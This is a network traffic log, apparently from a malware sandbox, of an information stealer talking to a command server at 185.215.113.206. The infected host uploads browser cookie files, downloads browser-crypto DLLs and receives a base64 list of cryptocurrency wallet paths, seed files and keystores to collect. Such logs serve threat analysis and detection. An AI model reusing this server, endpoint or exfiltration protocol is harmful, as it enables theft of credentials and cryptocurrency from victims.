name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDGCGHIJKEGIECBFCBAE--
Nov 27, 2024 16:34:42.012830019 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 16:34:42.246133089 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIIIIJKFCAAECAKFIEH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="file"------AFIIIIJKFCAAECAKFIEH--
Nov 27, 2024 16:34:43.205254078 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 16:34:44.275947094 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 16:34:44.727911949 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 27, 2024 16:34:44.727935076 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Nov 27, 2024 16:34:44.728226900 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Nov 27, 2024 16:34:44.728310108 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Nov 27, 2024 16:34:44.728323936 CET	1236	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Nov 27, 2024 16:34:44.728491068 CET	1236	IN	Data Raw: ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 fb 07 00 89 d8 83 c4 4c 5e 5f 5b 5d Data Ascii: t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]U
Nov 27, 2024 16:34:44.728502035 CET	896	IN	Data Raw: 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 Data Ascii: fDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hkhVo
Nov 27, 2024 16:34:44.728513002 CET	1236	IN	Data Raw: 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 04 32 14 0f 8b 4d e4 88 51 04 83 fe 05 74 3c 8b 45 ec 04 06 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: tE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }) )}})])EU]EM]
Nov 27, 2024 16:34:44.728524923 CET	1236	IN	Data Raw: de f3 0f 5b c3 66 0f 70 dc f5 66 0f f4 e0 66 0f 70 e4 e8 66 0f 70 c0 f5 66 0f f4 c3 66 0f 70 c0 e8 66 0f 62 e0 66 0f eb d4 66 0f eb ca 66 0f 70 c1 ee 66 0f eb c1 66 0f 70 c8 55 66 0f eb c8 66 0f 7e 4d e0 8b 55 c8 39 55 d4 8b 45 d0 75 0e 8a 55 e8 Data Ascii: [fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]]}<+ET}:M1}]f
Nov 27, 2024 16:34:44.736721039 CET	1236	IN	Data Raw: 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff ff 35 d1 82 e6 ad 89 d7 81 c7 08 c9 bc f3 89 7d e8 89 c1 81 d1 67 e6 09 6a 89 4d c0 89 fa 33 95 c4 fe ff ff 89 cf 31 f7 89 d6 0f a4 fe 08 0f a4 d7 08 8b 8d 74 ff ff ff 8b 51 08 89 Data Ascii: QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xptJ@FR<NF(
Nov 27, 2024 16:34:44.736830950 CET	1236	IN	Data Raw: 01 d1 89 4d d4 8b 7d ac 11 fb 89 5d cc 8b 75 a0 31 de 89 75 a0 8b 9d 50 ff ff ff 31 cb 8b 45 c4 01 f0 8b 75 bc 11 de 89 75 bc 89 d1 31 c1 89 c2 31 f7 89 ce 0f a4 fe 08 0f a4 cf 08 89 7d ac 8b bd 74 ff ff ff 8b 4f 58 89 8d 20 ff ff ff 8b 45 d4 01 Data Ascii: M}]u1uP1Euu11}tOX EO\H}EE}1M1EMU}}1M1\|MtJ`ERdM\E]Mu1uT1T
Nov 27, 2024 16:34:46.361455917 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 16:34:46.814322948 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 27, 2024 16:34:47.711900949 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 16:34:48.169236898 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 27, 2024 16:34:48.938484907 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 16:34:49.392132998 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 27, 2024 16:34:52.823334932 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 16:34:53.284986019 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 27, 2024 16:34:54.151510954 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 16:34:54.639462948 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 27, 2024 16:34:55.438740969 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKFHIEGDHJKECAAKKEB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:34:56.565656900 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 16:34:57.016092062 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 2d 2d 0d 0a Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="message"wallets------IJDBGDGCGDAKFIDGIDBF--
Nov 27, 2024 16:34:57.471476078 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 27, 2024 16:34:57.485605955 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDH Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 